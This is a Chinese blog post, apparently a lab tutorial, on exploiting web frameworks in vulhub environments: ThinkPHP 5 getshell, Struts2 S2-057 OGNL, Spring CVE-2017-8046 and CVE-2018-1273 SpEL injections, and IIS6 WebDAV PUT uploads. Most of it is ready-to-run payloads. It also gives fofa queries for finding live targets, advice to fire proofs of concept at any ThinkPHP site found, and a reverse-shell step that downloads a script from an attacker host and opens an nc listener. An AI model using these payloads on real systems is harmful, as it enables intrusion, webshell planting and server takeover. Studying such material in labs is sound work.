常见的框架漏洞

Web框架(Web framework)或者叫做Web应⽤框架(Web application framework),是⽤于
进⾏Web开发的⼀套软件架构。⼤多数的Web框架提供了⼀套开发和部署⽹站的⽅式。为Web的
⾏为提供了⼀套⽀持⽀持的⽅法。使⽤Web框架,很多的业务逻辑外的功能不需要⾃⼰再去完
善,⽽是使⽤框架已有的功能就可以。

Thinkphp(TP)

简介

ThinkPHP是为了简化企业级应⽤开发和敏捷WEB应⽤开发⽽诞⽣的,是⼀个快速、兼容⽽
且简单的轻量级国产PHP开发框架,诞⽣于2006年初,原名FCS,2007年元旦正式更名为
ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴
了国外很多优秀的框架和模式,使⽤⾯向对象的开发结构和MVC模式,融合了Struts的思想和
TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。
ThinkPHP可以⽀持windows/Unix/Linux等服务器环境,正式版需要PHP5.0以上版本⽀
持,⽀持MySql、PgSQL、Sqlite多种数据库以及PDO扩展,是⼀款跨平台,跨版本以及简单易
⽤的PHP框架。 TP(2-6) (5-⽬前使⽤率较⾼的)

Thinkphp5x远程命令执⾏及getshell

靶场:vulhub/thinkphp/5-rce
docker-compose up -d #启动环境
访问靶场: http://192.168.56.134:8080/index.php
漏洞利⽤
漏洞根本源于 thinkphp/library/think/Request.php 中method⽅法可以进⾏变量覆盖,通
过覆盖类的核⼼属性filter导致rce,其攻击点较为多,有些还具有限制条件,另外由于种种部分
原因,在利⽤上会出现⼀些问题。

getshell

http://192.168.207.129:8080/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo"<?php phpinfo();?>">>12.php 

根⽬录⽣成12.php ⽂件,输出phpinfo 

Thinkphp被曝很多漏洞,截⾄⽬前位置3x -- 6x的各个版本都被爆有⼤量漏洞,遇到TP的
站,直接打poc就可以了;
body = "V5.0.7" && title = "System error"
body = "ThinkPHP V5"
icon_hash = "1165838194"

struts2

简介

Apache Struts 2 最初被称为 WebWork 2,它是一个简洁的、可扩展的框架,可用于创建企业级Java web应用程序。设计这个框架是为了从构建、部署、到应用程序维护方面来简化整个开发周期。​

Struts2漏洞是一个远程命令执行漏洞和开放重定向漏洞。利用漏洞,黑客可发起远程攻击,不但可以窃取网站数据信息,甚至还可取得网站服务器控制权。而且,目前针对此漏洞的自动化工具开始出现,攻击者无需具备与漏洞相关的专业知识即可侵入服务器,直接执行命令操作,盗取数据甚至进行毁灭性操作。

判断Struts2框架

通过网页后缀来判断,如.do .action,有可能不准。
判断 /struts/webconsole.html 是否存在来进行判断,需要 devMode 为 true。
通过 actionErrors,要求是对应的 Action 需要继承自 ActionSupport 类

S2-057远程执行代码漏洞

环境搭建

kali vulhub靶场 /struts2/s2-057

漏洞简介

漏洞产⽣于⽹站配置XML时如果没有设置namespace的值,并且上层动作配置中并没有设置
或使⽤通配符namespace时,可能会导致远程代码执⾏漏洞的发⽣。同样也可能因为url标签没
有设置value和action的值,并且上层动作并没有设置或使⽤通配符namespace,从⽽导致远程
代码执⾏漏洞的发⽣。
S2-057 先决条件:
alwaysSelectFullNamespace 正确 - 操作元素未设置名称空间属性,或使⽤了通配符
⽤户将从 uri 传递命名空间,并将其解析为 OGNL 表达式,最终导致远程代码执⾏漏洞。

漏洞利⽤

访问靶机地址: http://ip:8080/struts2-showcase

在url处输⼊ http://ip:8080/struts2-
showcase/ ${(123+123)}/actionChain1.action 后刷新可以看到中间数字位置相加了。

 将上⾯验证payload的值修改为我们的利⽤exp

 %24%7b(%23dm%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3d%23request%5b%27struts.valueStack%27%5d.context).(%23cr%3d%23ct%5b%27com.opensymphony.xwork2.ActionContext.container%27%5d).(%23ou%3d%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3d%40java.lang.Runtime%40getRuntime().exec(%27whoami%27)).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7d

fofa语法  app="Struts2" 

Spring

简介

Spring是Java EE编程领域的⼀个轻量级开源框架,该框架由⼀个叫Rod Johnson的程序员
在2002年最早提出并随后创建,是为了解决企业级编程开发中的复杂性,业务逻辑层和其他各
层的松耦合问题,因此它将⾯向接⼝的编程思想贯穿整个系统应⽤,实现敏捷开发的应⽤型框
架。框架的主要优势之⼀就是其分层架构,分层架构允许使⽤者选择使⽤哪⼀个组件,同时为
J2EE应⽤程序开发提供集成的框架。  

Spring框架特征

看web应⽤程序的ico⼩图标,是⼀个⼩绿叶⼦

Spring Data Rest 远程命令执⾏命令(CVE-2017-8046)

环境

kali vulhub靶场 /spring/CVE-2017-8046
fofa: icon_hash= "116323821" / app= "vmware-SpringBoot-framework"
访问 http://your-ip:8080/customers/1 ,然后抓取数据包,使⽤PATCH请求来修改

 

PATCH /customers/1 HTTP/1.1

Host: localhost:8080

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type: application/json-patch+json

Content-Length: 202

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]

其中 new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,11
5} 表示的命令 touch /tmp/success ⾥⾯的数字是ascii码
成功发送数据包之后,可以进⼊docker容器内查看是否执⾏命令
进⼊docker容器:

 

spring 代码执⾏ (CVE-2018-1273)

漏洞简介

Spring Data 是⼀个⽤于简化数据库访问,并⽀持云服务的开源框架,Spring Data
Commons 是 Spring Data 下所有⼦项⽬共享的基础框架。Spring Data Commons 在 2.0.5 及
以前版本中,存在⼀处 SpEL 表达式注⼊漏洞,攻击者可以注⼊恶意 SpEL 表达式以执⾏任意命
令。

影响版本

Spring Data Commons 1.13 – 1.13.10 (Ingalls SR10)
Spring Data REST 2.6 – 2.6.10(Ingalls SR10)
Spring Data Commons 2.0 – 2.0.5 (Kay SR5)
Spring Data REST 3.0 – 3.0.5(Kay SR5)
官⽅已经不⽀持的旧版本

漏洞利⽤

访问靶场地址: http://ip:8080/users
填写注册信息,bp抓包:
加上 poc :
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("t
ouch /tmp/zcc")]=&password=&repeatedPassword=

进⼊终端查看,可以看到成功写⼊:
docker exec -it b10ecde567a2 /bin/bash

反弹shell

开启http服务在www下写一个反弹shell 脚本

靶机下载执⾏ sh 脚本:
/usr/bin/wget -qO /tmp/shell.sh http://192.168.56.132:8000/shell.sh

nc监听:
nc -lvp 8888

 

IIS6.x 

PUT漏洞

漏洞描述

IIS Server 在 Web 服务扩展中开启了 WebDAV ,配置了可以写⼊的权限,造成任意⽂件上
传。

环境

fofa:"IIS-6.0"
本地搭建2003 server

漏洞复现

1)开启 WebDAV 和写权限:

 

权限来宾账户完全控制

 访问网站

⽤burpsuite 提交OPTIONS 查看⽀持的协议 :
⽤PUT上传⽂档,但不能直接上传⽅法脚本⽂档,可以先上传⼀个其他类型的⽂档,然后移动成
脚本⽂档:

 

 使⽤MOVE命令将其更名为脚本⽂档后缀:

 

 

 写⼊成功,菜⼑,蚁剑链接即可。

 

 修复建议

1.关闭webdav ;
2.关闭写⼊权限 。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值